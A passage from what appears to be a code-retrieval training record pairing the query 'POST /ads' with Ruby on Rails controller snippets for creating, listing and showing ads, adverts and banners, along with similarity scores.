"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n end\n end",
"def index\n @advertisers = Advertiser.all\n end",
"def index\n @advertisements = Advertisement.page(params[:page])\n end",
"def index\n \n @advertises = Advertise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @advertises }\n end\n end",
"def index\n @ad_accounts = AdAccount.all\n end",
"def show\n render json: @banner\n end",
"def index\n @advertisement_campaigns = AdvertisementCampaign.all\n end",
"def show\n @adv = Advantage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @adv }\n end\n end",
"def show\n @aadt = Aadt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aadt }\n end\n end",
"def get_leads_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LeadsApi#get_leads ...\"\n end\n \n # resource path\n path = \"/Leads\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'include_converted'] = opts[:'include_converted'] if opts[:'include_converted']\n query_params[:'brief'] = opts[:'brief'] if opts[:'brief']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APILead>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LeadsApi#get_leads\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @banners = Banner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @banners }\n end\n end",
"def create\n @ad = Ad.new(ad_params)\n\n if @ad.save\n render :show, status: :created, location: @ad\n else\n render json: @ad.errors, status: :unprocessable_entity\n end\n end",
"def show\n if params[:archive_id]\n @some_kind_of_ad = Ad.find_by(archive_id: params[:archive_id]) \n elsif params[:ad_id]\n @some_kind_of_ad = FbpacAd.find_by(id: params[:ad_id])\n end\n\n raise ActiveRecord::RecordNotFound if @some_kind_of_ad.nil?\n\n ad_text = @some_kind_of_ad.ad_text\n\n respond_to do |format|\n format.html {\n redirect_to \"https://dashboard.qz.ai/ad/#{ad_text.text_hash}\"\n }\n format.json { render json: {\n ad_text: ad_text\n } }\n end\n end",
"def index\n @facebook_ads = FacebookAd.all\n end",
"def index\n @ad_banners = AdBanner.all\n @pages = Page.all\n end",
"def dresses\n render json: { collections: Collection.published_dresses }\n end",
"def show\n if user_signed_in?\n @user = User.find(params[:id])\n @current_user = current_user\n\n @ad = @user.ads.build(params[:ad])\n @brand_product = @ad.build_brand_product\n @comment = @ad.comments.build(params[:comment])\n @ads = @user.adfeed(session[:show_ads_by])\n @json = @user.to_gmaps4rails\n \n @userpage_right = session[:userpage_right ] || \"adfeed\"\n respond_with @user\n \n end \n end",
"def index\n @adsizes = Adsize.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @adsizes }\n end\n end",
"def show\n @purchasing_ad = PurchasingAd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchasing_ad }\n end\n end",
"def adcreatives(options = {})\n\t\t\tself.id = self.id + \"/adcreatives\"\n\t\t\tread options\n\t\tend",
"def index\n @campaigns = Campaign.all\n render json: @campaigns\n end",
"def index\n @advert = Advert.find(params[:advert_id])\n @bids = @advert.bids\n end",
"def ad_params\n params.require('ads')\n end",
"def index\n @slider_ads = SliderAd.order(id: :desc).page(params[:page]).per(25)\n end",
"def new\n @advert = Advert.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advert }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @ad.to_xml }\n end\n end"
] |
[
"0.7752131",
"0.7749316",
"0.7291679",
"0.726539",
"0.7224467",
"0.712877",
"0.712877",
"0.712877",
"0.7110715",
"0.6884924",
"0.68810844",
"0.68610626",
"0.6854222",
"0.68104106",
"0.67929673",
"0.67929673",
"0.6782109",
"0.6770735",
"0.67337316",
"0.6730005",
"0.6673539",
"0.6661088",
"0.66400516",
"0.6637159",
"0.6574845",
"0.6558691",
"0.6535777",
"0.65279204",
"0.6506432",
"0.6466673",
"0.6444244",
"0.6444244",
"0.642886",
"0.6419914",
"0.63928753",
"0.6362861",
"0.6344111",
"0.63428974",
"0.63428974",
"0.62978554",
"0.6286614",
"0.6286206",
"0.6270327",
"0.6255935",
"0.62464017",
"0.62403977",
"0.62378085",
"0.6230565",
"0.6227568",
"0.62060684",
"0.6195652",
"0.61714697",
"0.61633927",
"0.6159181",
"0.6157543",
"0.6155806",
"0.6155806",
"0.615361",
"0.6120738",
"0.6118087",
"0.61173433",
"0.6107176",
"0.60955334",
"0.60831946",
"0.60831946",
"0.60772884",
"0.6074967",
"0.6074595",
"0.6059373",
"0.60559005",
"0.6039256",
"0.6025656",
"0.60219455",
"0.60024536",
"0.5991113",
"0.5985032",
"0.5976917",
"0.5974593",
"0.59693253",
"0.5964355",
"0.5949583",
"0.59462816",
"0.5945566",
"0.59438",
"0.59426177",
"0.5938671",
"0.5933976",
"0.5932893",
"0.59287775",
"0.59284705",
"0.59137696",
"0.5904075",
"0.59030664",
"0.58942324",
"0.58855104",
"0.5881224"
] |
0.71702427
|
7
|
GET /ads/1 GET /ads/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end",
"def index\n @ads = Ad.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end",
"def call\n response = call_ads_api\n ads = response[\"ads\"]\n ads_hash = index_ads_remote(ads)\n {success: true, data: ads_hash}\n end",
"def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n format.json { render :json => @ads }\n end\n end",
"def index\n @ads = @org.ads\n end",
"def index\n @ads = Ad.all\n end",
"def index\n @ads = Ad.all\n end",
"def index\n @ads = Ad.all\n end",
"def index\n @ads = Ad.all\n end",
"def index\n @ads = Ad.all\n end",
"def show\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_indices_ad }\n end\n end",
"def index\n @ads = Ad.all \n end",
"def show\n @advertisement = Advertisement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advertisement }\n end\n end",
"def show\n render json: @advert\n end",
"def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advert }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render json: { advertisements: @advertisements } }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n format.json \n end\n end",
"def show\n @advert = Advert.find(params[:id])\n @vcounter = ViewsCounter.counter('Advert', params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advert }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n end",
"def show\n @ad = Ad.find(params[:id])\n end",
"def index\n @sales_ads = SalesAd.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sales_ads }\n end\n end",
"def show\n @ad_post = AdPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_post }\n end\n end",
"def show\n @ad_tag = AdTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_tag }\n end\n end",
"def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end",
"def index\n @advertisements = Advertisement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @advertisements }\n end\n end",
"def index\n @advertisements = Advertisement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @advertisements }\n end\n end",
"def index\n @ads = Ad.find_all_by_account_id(session[:account_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end",
"def index\n respond_with Ad.all \n end",
"def show\n @ad_type = AdType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_type }\n end\n end",
"def index\n @advertises = Advertise.all\n render 'index', formats: 'json', handlers: 'jbuilder'\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html \n end\n end",
"def index\n @ads = Ad.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @ads.to_xml }\n end\n end",
"def show\n @ad_contact = AdContact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_contact }\n end\n end",
"def show\n @advertisment = Advertisment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advertisment }\n end\n end",
"def show\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advocacy }\n end\n end",
"def show\n @google_adwords_account = GoogleAdwordsAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @google_adwords_account }\n end\n end",
"def get_ads(params, headers={})\n url = \"#{@fqdn}#{SERVICE_URL}\"\n\n if params\n args = \"?\"\n params.each do |key, value|\n if value && !value.empty?\n args << \"&\" unless args.end_with? \"?\"\n args << \"#{CGI.escape(key.to_s)}=#{CGI.escape(value.to_s)}\"\n end\n end\n url << args\n end\n\n self.get(url, headers)\n end",
"def show\n @sales_ad = SalesAd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sales_ad }\n end\n end",
"def index\n @adjs = Adj.all\n end",
"def index\n \tset_user\n @ads = get_all_ads\n end",
"def index\n @adsses = Adss.all\n end",
"def index\n @advertisements = Advertisement.where(merchant_id: params[:merchant_id])\n\n render json: @advertisements\n end",
"def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad }\n end\n end",
"def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n end\n end",
"def index\n@magazine = Magazine.find_by_id(params[:magazine_id])\n@ads = @magazine.ads\nend",
"def show\n @acd = Acd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acd }\n end\n end",
"def show\n\t\t@ad = Ad.includes({:ad_group => :campaign}, :ad_type).where(\"campaigns.account_id = ?\", @auth_user.account_id).find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @ad }\n\t\tend\n\tend",
"def index\n @advertises = current_user.advertises.page(params[:page])\n respond_to do |format|\n format.html\n format.json\n end\n end",
"def show\n @adv = Advantage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @adv }\n end\n end",
"def index\n @adverts = Advert.all\n end",
"def index\n @advertisements = Advertisement.all\n end",
"def index\n @advertisements = Advertisement.all\n end",
"def ads(id, &block)\n return get_metrics([\"ads\", id], &block)\n end",
"def index\n @bottom_ads = BottomAd.all\n end",
"def index\n\tif params[:category_id]\n\t @ads = Ad.where(category_id: params[:category_id])\n\telse\n\t @ads = Ad.all\n\tend\n end",
"def index\n @ads = Ad.all.ultimos\n end",
"def show\n @aadt = Aadt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aadt }\n end\n end",
"def show\n render json: @banner\n end",
"def show\n @audience = Audience.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @audience }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @ad.to_xml }\n end\n end",
"def set_ad\n @ad = @org.ads.find(params[:id])\n end",
"def index\n @advertisements = Advertisement.where(user: current_user).order(updated_at: :desc).with_attached_images\n\n respond_to do |format|\n format.html\n format.json { render json: { advertisements: @advertisements } }\n end\n end",
"def show\n @assay = Assay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assay }\n end\n end",
"def new\n @advert = Advert.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advert }\n end\n end",
"def show\n @advertisement = Advertisement.where(id: params[:id]).last\n end",
"def index\n @banners = Banner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @banners }\n end\n end",
"def index\n @leads = Lead.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leads }\n end\n end",
"def show\n @ad_unit = AdUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_unit }\n end\n end",
"def show\n @purchasing_ad = PurchasingAd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchasing_ad }\n end\n end",
"def index\n @advert1s = Advert1.all\n end",
"def index\n @cargapp_ads = CargappAd.all\n\n @result = []\n @cargapp_ads.each do |cargapp_ad|\n @obj = {\n id: cargapp_ad.id,\n name: cargapp_ad.name,\n price: cargapp_ad.price,\n description: cargapp_ad.description,\n body: cargapp_ad.body,\n image: cargapp_ad.image.attached? ? url_for(cargapp_ad.image) : nil,\n url: cargapp_ad.url,\n media: cargapp_ad.media.attached? ? url_for(cargapp_ad.media) : nil,\n have_discoun: cargapp_ad.have_discoun,\n is_percentage: cargapp_ad.is_percentage,\n discoun: cargapp_ad.discoun,\n active: cargapp_ad.active,\n user_id: cargapp_ad.user_id,\n created_at: cargapp_ad.created_at,\n updated_at: cargapp_ad.updated_at\n }\n @result << @obj\n end\n render json: @result\n end",
"def index\n @admittings = Admitting.all\n render json: @admittings\n end",
"def show\n render json: @adopter\n end",
"def show\n if params[:archive_id]\n @some_kind_of_ad = Ad.find_by(archive_id: params[:archive_id]) \n elsif params[:ad_id]\n @some_kind_of_ad = FbpacAd.find_by(id: params[:ad_id])\n end\n\n raise ActiveRecord::RecordNotFound if @some_kind_of_ad.nil?\n\n ad_text = @some_kind_of_ad.ad_text\n\n respond_to do |format|\n format.html {\n redirect_to \"https://dashboard.qz.ai/ad/#{ad_text.text_hash}\"\n }\n format.json { render json: {\n ad_text: ad_text\n } }\n end\n end",
"def index\n @advertises = Advertise.all\n end",
"def index\n @advertises = Advertise.all\n end",
"def index\n @buy_ads = BuyAd.all\n end",
"def new\n\n \n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advert }\n \n end\n end",
"def show\n render json: Alien.find(params[\"id\"])\n end",
"def new\n @advertise = Advertise.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertise }\n end\n end",
"def new\n @advertisement = Advertisement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertisement }\n end\n end",
"def new\n @advertisement = Advertisement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertisement }\n end\n end",
"def new\n @advertisement = Advertisement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertisement }\n end\n end",
"def index\n @search = Ad.search(params[:q])\n @result = @search.result\n @ads = @result.order('created_at DESC').distinct\n @ads = @result.page(params[:page]).per(15)\n\n respond_to do |format|\n format.html\n end\n end",
"def get_ads(ad_account, session)\n dataSet = { \"ads\" => [] }\n\n ad_account.ads(fields: 'name').each do |ad|\n dataSet['ads'] << {\n \"id\" => ad.id,\n \"name\" => ad.name,\n \"thumbnail_url\" => FacebookAds::AdCreative.get(ad.creative.id, 'thumbnail_url', session).thumbnail_url\n }\n end\n\n return dataSet\n end",
"def index\n id = params[:id].to_i\n\n if id != 0\n \t @agencies = @agencies.paginate(page: params[:page], per_page: 10).order(:name).find_all_by_id(id)\n if @agencies.any?\n @agency_name = @agencies.first.name\n end\n else\n \t @agencies = @agencies.paginate(page: params[:page], per_page: 10).order(:name).find(:all)\n end\n\n\t\t@records_returned = @agencies.count\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @agencies }\n end\n end",
"def show\n render json: @admitting\n end",
"def index\n @advert = Advert.find(params[:advert_id])\n @bids = @advert.bids\n end",
"def index\n @campaigns = Campaign.all\n render json: @campaigns\n end",
"def show\n @create_classified_ad = CreateClassifiedAd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @create_classified_ad }\n end\n end",
"def index\n @adverts = @advert_class.all\n end",
"def show\n @admin_agency = Admin::Agency.where(:id => params[:id]).includes(:pages)[0]\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_agency }\n end\n end",
"def index\n \t@categories = Category.all\n \t@ads = Ad.all\n end",
"def index\n @leads = Lead.upcoming\n .includes(:updates, :agents, :agent)\n .order(created_at: :desc)\n .page(params[:page])\n .per(50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leads }\n end\n end",
"def show\n @creative = Creative.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @creative }\n end\n end",
"def show\n @drip = Drip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drip }\n end\n end",
"def show\n @dataload_ga = DataloadGa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dataload_ga }\n end\n end"
] |
[
"0.75970733",
"0.7587807",
"0.730965",
"0.730965",
"0.730965",
"0.71618325",
"0.7091579",
"0.7060379",
"0.698387",
"0.698387",
"0.698387",
"0.698387",
"0.698387",
"0.6965706",
"0.69487184",
"0.6883612",
"0.68527615",
"0.6832596",
"0.6781336",
"0.6744042",
"0.67338634",
"0.67248225",
"0.67248225",
"0.670116",
"0.66822857",
"0.6678562",
"0.66612697",
"0.66574407",
"0.66574407",
"0.6650518",
"0.6645205",
"0.658633",
"0.65708745",
"0.6549972",
"0.6547277",
"0.65144914",
"0.6501899",
"0.64778787",
"0.64496136",
"0.6431345",
"0.63731897",
"0.636066",
"0.6356617",
"0.6344559",
"0.6321123",
"0.6276513",
"0.6276513",
"0.6256826",
"0.62222046",
"0.6220342",
"0.6214451",
"0.6206862",
"0.61850005",
"0.61506176",
"0.6143469",
"0.6143469",
"0.6142566",
"0.6134099",
"0.6124737",
"0.612353",
"0.6113462",
"0.6112017",
"0.6107789",
"0.60975784",
"0.609291",
"0.60776335",
"0.60759187",
"0.60732037",
"0.6067613",
"0.60664445",
"0.60662943",
"0.60605055",
"0.60585886",
"0.6051836",
"0.6046728",
"0.603004",
"0.60290104",
"0.6028521",
"0.6021773",
"0.6021773",
"0.6017169",
"0.60161304",
"0.60043925",
"0.6001717",
"0.5999778",
"0.5999778",
"0.5999778",
"0.5996956",
"0.5992227",
"0.5989314",
"0.5988958",
"0.59730977",
"0.59609425",
"0.59594893",
"0.59569234",
"0.5936229",
"0.5934609",
"0.59264743",
"0.59211504",
"0.59183264",
"0.5917686"
] |
0.0
|
-1
|
POST /ads POST /ads.json
|
def create
@ad = Ad.new(ad_params)
respond_to do |format|
if @ad.save
format.html { redirect_to @ad, notice: 'Ad was successfully created.' }
format.json { render :show, status: :created, location: @ad }
else
format.html { render :new }
format.json { render json: @ad.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @ad = Ad.new(ad_params)\n\n if @ad.save\n render :show, status: :created, location: @ad\n else\n render json: @ad.errors, status: :unprocessable_entity\n end\n end",
"def create\n fix_tokenized_input_params\n @ad = @org.ads.build(ad_params)\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to [@ad.org, @ad], notice: 'Ad was successfully created.' }\n format.json { render :show, status: :created, location: [@ad.org, @ad] }\n else\n format.html { render :new }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad = Ad.new(params[:ad])\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: 'Ad was successfully created.' }\n format.json { render json: @ad, status: :created, location: @ad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad = current_user.ads.new(ad_params)\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: 'Ad was successfully created.' }\n format.json { render :show, status: :created, location: @ad }\n else\n format.html { render :new }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad = current_advertiser.ads.new(params[:ad])\n respond_to do |format|\n if @ad.save\n format.html { redirect_to(@ad, :notice => 'Ad was successfully created.') }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @advertisement = current_user.ads.new(advertisement_params)\n\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to app_advertisements_url, notice: 'Advertisement was successfully created.' }\n format.json { render :show, status: :created, location: @advertisement }\n else\n format.html { render :new }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t@ad = Ad.new(ad_params)\n\t@ad.user = current_user\n\trespond_to do |format|\n\t if @ad.save\n\t\tformat.html { redirect_to ad_path(@ad), notice: 'Ad was successfully created.' }\n\t\tformat.json { render :show, status: :created, location: @ad }\n\t else\n\t\tformat.html { render :new }\n\t\tformat.json { render json: @ad.errors, status: :unprocessable_entity }\n\t end\n\tend\n end",
"def call\n response = call_ads_api\n ads = response[\"ads\"]\n ads_hash = index_ads_remote(ads)\n {success: true, data: ads_hash}\n end",
"def create\n @ad = Ad.new(ad_params)\n @ad.user = current_user\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: 'Ad was successfully created.' }\n format.json { render :show, status: :created, location: @ad }\n else\n format.html { render :new }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if ['Adsense', 'Adbard'].include? params[\"ad\"][\"_type\"]\n @ad = params[\"ad\"][\"_type\"].camelize.constantize.new\n case @ad\n when Adsense\n @ad.safe_update(%w[name position google_ad_client google_ad_slot\n google_ad_width google_ad_height], params[:ad])\n when Adbard\n @ad.safe_update(%w[name position adbard_host_id adbard_site_key], params[:ad])\n end\n @ad.group = current_group\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = t('ads.create.success')\n format.html { redirect_to(ads_path) }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\", :controller => \"ads\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { render :action => \"new\", :controller => \"ads\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @ad_post = AdPost.new(params[:ad_post])\n\n respond_to do |format|\n if @ad_post.save\n format.html { redirect_to @ad_post, notice: 'Ad post was successfully created.' }\n format.json { render json: @ad_post, status: :created, location: @ad_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ad_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advert = Advert.new(params[:advert])\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render json: @advert, status: :created, location: @advert }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad = Ad.new(ad_params)\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = :ad_was_successfully_created.l\n format.html { redirect_to ad_url(@ad) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end",
"def create\n @advertisement = Advertisement.new(params[:advertisement])\n\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully created.' }\n format.json { render json: @advertisement, status: :created, location: @advertisement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad = Ad.new(params[:ad])\n @ad.user_id=current_user.id\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: 'Ad was successfully created.' }\n format.json { render json: @ad, status: :created, location: @ad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advert = Advert.new(advert_params)\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render :show, status: :created, location: @advert }\n else\n format.html { render :new }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad_banner = AdBanner.new(ad_banner_params)\n\n respond_to do |format|\n if @ad_banner.save\n format.html { redirect_to @ad_banner, notice: 'Ad banner was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ad_banner }\n else\n format.html { render action: 'new' }\n format.json { render json: @ad_banner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @article = Article.new(article_params)\n\n json_parse = JSON.parse(@article.advertisement)\n ad_hash = json_parse.map { |data|\n ApplicationController.helpers.a8_parse(data)\n }\n ad_hash_json = ActiveSupport::JSON.encode(ad_hash)\n @article[:advertisement] = ad_hash_json\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @advertisement = Advertisement.new(params[:advertisement])\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully created.' }\n format.json { render json: @advertisement, status: :created, location: @advertisement }\n else\n format.html { render action: \"new\", notice: 'Advertisement was NOT successfully created.' }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad = current_user.ads.new(params[:ad])\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = 'Ad was successfully created.'\n format.html { redirect_to([current_user,@ad]) }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @ad = current_user.ads.build(ad_params)\n @ad.delivery_currency = ad_params[\"price_currency\"]\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: \"Ad was successfully created.\" }\n format.json { render :show, status: :created, location: @ad }\n else\n format.html { render :new }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad = Ad.new(params[:ad])\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = 'Ad was successfully created.'.l\n format.html { redirect_to ad_url(@ad) }\n format.xml { head :created, :location => ad_url(@ad) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors.to_xml }\n end\n end\n end",
"def create\n @ad = Ad.new(params[:ad])\n @ad.account_id = session[:account_id]\n respond_to do |format|\n if @ad.save\n format.html { redirect_to(@ad, :notice => 'Ad was successfully created.') }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @ads = Ad.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end",
"def create\n @adj = Adj.new(adj_params)\n\n respond_to do |format|\n if @adj.save\n format.html { redirect_to @adj, notice: 'Adj was successfully created.' }\n format.json { render :show, status: :created, location: @adj }\n else\n format.html { render :new }\n format.json { render json: @adj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advert = @advert_class.new(params[:advert])\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render json: @advert, status: :created, location: @advert }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end",
"def create\n @adss = Adss.new(adss_params)\n\n respond_to do |format|\n if @adss.save\n format.html { redirect_to @adss }\n format.json { render :show, status: :created, location: @adss }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @adss.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n cartoon_ad = CartoonAd.create(cartoon_ad_params)\n render json: cartoon_ad\n end",
